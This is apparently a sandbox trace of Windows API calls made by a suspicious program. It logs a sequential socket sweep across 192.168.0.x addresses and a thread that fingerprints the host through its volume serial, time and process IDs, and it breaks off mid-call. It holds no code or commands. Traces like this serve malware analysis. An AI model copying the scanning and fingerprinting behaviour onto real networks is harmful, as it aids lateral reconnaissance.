socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.286] htonl (hostlong=0xc0a800b9) returned 0xb900a8c0 [0271.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.287] htonl (hostlong=0xc0a800ba) returned 0xba00a8c0 [0271.287] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.287] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.287] htonl (hostlong=0xc0a800bb) returned 0xbb00a8c0 [0271.287] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.287] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.287] htonl (hostlong=0xc0a800bc) returned 0xbc00a8c0 [0271.287] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.287] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.287] htonl (hostlong=0xc0a800bd) returned 0xbd00a8c0 [0271.287] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.287] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.287] htonl (hostlong=0xc0a800be) returned 0xbe00a8c0 [0271.287] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.287] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.287] htonl (hostlong=0xc0a800bf) returned 0xbf00a8c0 [0271.287] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.287] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.287] htonl (hostlong=0xc0a800c0) returned 0xc000a8c0 [0271.287] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.287] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.287] htonl (hostlong=0xc0a800c1) returned 0xc100a8c0 [0271.287] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.287] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.287] htonl (hostlong=0xc0a800c2) returned 0xc200a8c0 [0271.287] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.287] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.287] htonl (hostlong=0xc0a800c3) returned 0xc300a8c0 [0271.287] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.287] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.287] htonl (hostlong=0xc0a800c4) returned 0xc400a8c0 [0271.287] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.287] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.288] htonl (hostlong=0xc0a800c5) returned 0xc500a8c0 [0271.288] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.288] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.288] htonl (hostlong=0xc0a800c6) returned 0xc600a8c0 [0271.288] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.288] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.288] htonl (hostlong=0xc0a800c7) returned 0xc700a8c0 [0271.288] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.288] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.288] htonl (hostlong=0xc0a800c8) returned 0xc800a8c0 [0271.288] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.288] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.288] htonl (hostlong=0xc0a800c9) returned 0xc900a8c0 [0271.288] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.288] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.288] htonl (hostlong=0xc0a800ca) returned 0xca00a8c0 [0271.288] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.288] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.288] htonl (hostlong=0xc0a800cb) returned 0xcb00a8c0 [0271.288] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.288] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.288] htonl (hostlong=0xc0a800cc) returned 0xcc00a8c0 [0271.288] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.288] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.288] htonl (hostlong=0xc0a800cd) returned 0xcd00a8c0 [0271.288] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.288] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.288] htonl (hostlong=0xc0a800ce) returned 0xce00a8c0 [0271.288] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.288] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.288] htonl (hostlong=0xc0a800cf) returned 0xcf00a8c0 [0271.288] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.289] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.289] htonl (hostlong=0xc0a800d0) returned 0xd000a8c0 [0271.289] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.289] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.289] htonl (hostlong=0xc0a800d1) returned 0xd100a8c0 [0271.289] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.289] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.289] htonl (hostlong=0xc0a800d2) returned 0xd200a8c0 [0271.289] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.289] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.289] htonl (hostlong=0xc0a800d3) returned 0xd300a8c0 [0271.289] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.289] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.289] htonl (hostlong=0xc0a800d4) returned 0xd400a8c0 [0271.289] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.289] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.289] htonl (hostlong=0xc0a800d5) returned 0xd500a8c0 [0271.289] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.289] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.289] htonl (hostlong=0xc0a800d6) returned 0xd600a8c0 [0271.289] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.289] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.289] htonl (hostlong=0xc0a800d7) returned 0xd700a8c0 [0271.289] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.289] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.289] htonl (hostlong=0xc0a800d8) returned 0xd800a8c0 [0271.289] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.289] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.289] htonl (hostlong=0xc0a800d9) returned 0xd900a8c0 [0271.289] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.289] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.289] htonl (hostlong=0xc0a800da) returned 0xda00a8c0 [0271.289] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.290] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.290] htonl (hostlong=0xc0a800db) returned 0xdb00a8c0 [0271.290] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.290] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.290] htonl (hostlong=0xc0a800dc) returned 0xdc00a8c0 [0271.290] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.290] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.290] htonl (hostlong=0xc0a800dd) returned 0xdd00a8c0 [0271.290] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.290] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.290] htonl (hostlong=0xc0a800de) returned 0xde00a8c0 [0271.290] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.290] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.290] htonl (hostlong=0xc0a800df) returned 0xdf00a8c0 [0271.290] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.290] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.290] htonl (hostlong=0xc0a800e0) returned 0xe000a8c0 [0271.290] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.290] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.290] htonl (hostlong=0xc0a800e1) returned 0xe100a8c0 [0271.290] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.290] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.290] htonl (hostlong=0xc0a800e2) returned 0xe200a8c0 [0271.290] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.290] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.290] htonl (hostlong=0xc0a800e3) returned 0xe300a8c0 [0271.290] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.290] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.290] htonl (hostlong=0xc0a800e4) returned 0xe400a8c0 [0271.290] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.290] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.290] htonl (hostlong=0xc0a800e5) returned 0xe500a8c0 [0271.291] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.291] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.291] htonl (hostlong=0xc0a800e6) returned 0xe600a8c0 [0271.291] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.291] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.291] htonl (hostlong=0xc0a800e7) returned 0xe700a8c0 [0271.291] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.291] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.291] htonl (hostlong=0xc0a800e8) returned 0xe800a8c0 [0271.291] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.291] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.291] htonl (hostlong=0xc0a800e9) returned 0xe900a8c0 [0271.291] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.291] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.291] htonl (hostlong=0xc0a800ea) returned 0xea00a8c0 [0271.291] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.291] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.291] htonl (hostlong=0xc0a800eb) returned 0xeb00a8c0 [0271.291] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.291] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.291] htonl (hostlong=0xc0a800ec) returned 0xec00a8c0 [0271.291] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.291] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.291] htonl (hostlong=0xc0a800ed) returned 0xed00a8c0 [0271.291] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.291] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.291] htonl (hostlong=0xc0a800ee) returned 0xee00a8c0 [0271.291] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.291] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.291] htonl (hostlong=0xc0a800ef) returned 0xef00a8c0 [0271.291] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.291] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.292] htonl (hostlong=0xc0a800f0) returned 0xf000a8c0 [0271.292] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.292] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.292] htonl (hostlong=0xc0a800f1) returned 0xf100a8c0 [0271.292] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.292] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.292] htonl (hostlong=0xc0a800f2) returned 0xf200a8c0 [0271.292] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.292] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.292] htonl (hostlong=0xc0a800f3) returned 0xf300a8c0 [0271.292] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.292] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.292] htonl (hostlong=0xc0a800f4) returned 0xf400a8c0 [0271.292] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.292] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.292] htonl (hostlong=0xc0a800f5) returned 0xf500a8c0 [0271.292] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.292] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.292] htonl (hostlong=0xc0a800f6) returned 0xf600a8c0 [0271.292] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.292] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.292] htonl (hostlong=0xc0a800f7) returned 0xf700a8c0 [0271.292] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.292] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.292] htonl (hostlong=0xc0a800f8) returned 0xf800a8c0 [0271.292] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.292] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0271.292] htonl (hostlong=0xc0a800f9) returned 0xf900a8c0 [0271.292] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.292] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 Thread: id = 58 os_tid = 0x798 [0164.331] GetLogicalDrives () returned 0x4 [0164.331] GetProcessHeap () returned 0x6a0000 [0164.331] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b45f0 [0164.331] GetProcessHeap () returned 0x6a0000 [0164.331] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6bbe70 [0164.332] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x11c [0164.332] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x120 [0164.332] GetProcessHeap () returned 0x6a0000 [0164.332] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba460 [0164.332] GetProcessHeap () returned 0x6a0000 [0164.332] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba488 [0164.332] GetProcessHeap () returned 0x6a0000 [0164.332] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba4b0 [0164.332] GetProcessHeap () returned 0x6a0000 [0164.332] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd358 [0164.332] GetProcessHeap () returned 0x6a0000 [0164.332] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd358 | out: hHeap=0x6a0000) returned 1 [0164.332] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba488, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0164.332] GetProcessHeap () returned 0x6a0000 [0164.332] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4b0 | out: hHeap=0x6a0000) returned 1 [0164.332] GetProcessHeap () returned 0x6a0000 [0164.332] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba460 | out: hHeap=0x6a0000) returned 1 [0164.332] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbdff14, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbdff14*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.333] GetProcessHeap () returned 0x6a0000 [0164.333] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba488 | out: hHeap=0x6a0000) returned 1 [0164.333] GetProcessHeap () returned 0x6a0000 [0164.333] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e08 [0164.333] GetProcessHeap () returned 0x6a0000 [0164.333] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e20 [0164.333] GetProcessHeap () returned 0x6a0000 [0164.333] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e38 [0164.333] GetProcessHeap () returned 0x6a0000 [0164.333] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd358 [0164.333] GetProcessHeap () returned 0x6a0000 [0164.333] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e50 [0164.333] htonl (hostlong=0x9c354b42) returned 0x424b359c [0164.333] QueryPerformanceCounter (in: lpPerformanceCount=0xbdfe08 | out: lpPerformanceCount=0xbdfe08*=9155093233) returned 1 [0164.333] GetTickCount () returned 0x113534f [0164.333] GetCurrentProcessId () returned 0x59c [0164.333] GetCurrentThreadId () returned 0x798 [0164.333] GetLocalTime (in: lpSystemTime=0xbdfdf0 | out: lpSystemTime=0xbdfdf0*(wYear=0x7e4, wMonth=0x9, wDayOfWeek=0x3, wDay=0x1e, wHour=0x10, wMinute=0x23, wSecond=0x25, wMilliseconds=0x1e4)) [0164.333] SystemTimeToFileTime (in: lpSystemTime=0xbdfdf0, lpFileTime=0xbdfe00 | out: lpFileTime=0xbdfe00) returned 1 [0164.333] QueryPerformanceCounter (in: lpPerformanceCount=0xbdfe08 | out: lpPerformanceCount=0xbdfe08*=9155120241) returned 1 [0164.334] GetProcessHeap () returned 0x6a0000 [0164.334] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x28) returned 0x6d45e8 [0164.334] GetProcessHeap () returned 0x6a0000 [0164.334] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e68 [0164.334] GetProcessHeap () returned 0x6a0000 [0164.334] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6bd3f0 [0164.334] GetProcessHeap () returned 0x6a0000 [0164.334] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x14) returned 0x6bca00 [0164.334] GetProcessHeap () returned 0x6a0000 [0164.334] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e80 [0164.334] GetProcessHeap () returned 0x6a0000 [0164.334] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x80) returned 0x6d4618 [0164.334] GetProcessHeap () returned 0x6a0000 [0164.334] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e98 [0164.334] GetProcessHeap () returned 0x6a0000 [0164.334] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x82) returned 0x6d46a0 [0164.334] GetProcessHeap () returned 0x6a0000 [0164.334] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4eb0 [0164.334] GetProcessHeap () returned 0x6a0000 [0164.334] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6be880 [0164.334] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4ec8 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x80) returned 0x6d5250 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4ee0 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2) returned 0x6d4268 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6bb6d8 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4ef8 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x80) returned 0x6d52d8 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4f10 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6bb6e8 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6d4268, Size=0x82) returned 0x6d5360 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6bb6e8, Size=0x100) returned 0x6d53f0 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4f28 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x82) returned 0x6d54f8 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4f40 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x82) returned 0x6d5588 [0164.335] GetProcessHeap () returned 0x6a0000 [0164.335] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6d5360, Size=0x104) returned 0x6d5618 [0164.336] GetProcessHeap () returned 0x6a0000 [0164.336] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6d53f0, Size=0x200) returned 0x6d5728 [0164.337] GetProcessHeap () returned 0x6a0000 [0164.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb6d8 | out: hHeap=0x6a0000) returned 1 [0164.337] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5728 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4f10 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5250 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4ec8 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d52d8 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4ef8 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5618 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4ee0 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d54f8 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4f28 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5588 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4f40 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd3f0 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e68 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d46a0 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e98 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, 